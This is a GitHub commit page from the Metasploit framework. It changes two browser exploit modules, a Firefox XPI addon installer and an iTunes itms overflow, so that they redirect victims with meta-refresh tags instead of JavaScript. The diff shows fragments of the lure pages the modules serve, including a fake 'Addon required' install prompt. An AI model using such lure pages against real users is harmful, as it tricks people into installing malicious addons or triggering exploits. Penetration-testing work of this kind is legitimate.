Skip to content

Commit 6051a1a

Browse files
committed
Land rapid7#8910, Use meta redirect instead of JS redirect in 2 modules
2 parents 055e88d + 4917381 commit 6051a1a

File tree

2 files changed

+7
-4
lines changed

2 files changed

+7
-4
lines changed

modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -65,9 +65,9 @@ def on_request_uri(cli, request)
6565
end
6666

6767
def generate_html
68-
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
68+
html = %Q|<html><head><title>Loading, Please Wait...</title>\n|
69+
html << %Q|<meta http-equiv="refresh" content="0; url=addon.xpi"></head>\n|
6970
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
70-
html << %Q|<script>window.location.href="addon.xpi";</script>\n|
7171
html << %Q|</body></html>|
7272
return html
7373
end

modules/exploits/multi/browser/itms_overflow.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -98,11 +98,14 @@ def generate_itms_page(p)
9898
# Return back an example URL. Using an iframe doesn't work with all
9999
# browsers, but that's easy enough to fix if you need to.
100100
return String(<<-EOS)
101-
<html><head><title>iTunes loading . . .</title></head>
101+
<html>
102+
<head>
103+
<title>iTunes loading . . .</title>
104+
<meta http-equiv="refresh" content="0; url='#{itms_base_url}'">
105+
</head>
102106
<body>
103107
<p>iTunes should open automatically, but if it doesn't, click to
104108
<a href="#{itms_base_url}">continue</a>.</p>
105-
<script>document.location.assign("#{itms_base_url}");</script>
106109
</body>
107110
</html>
108111
EOS

0 commit comments

Comments
 (0)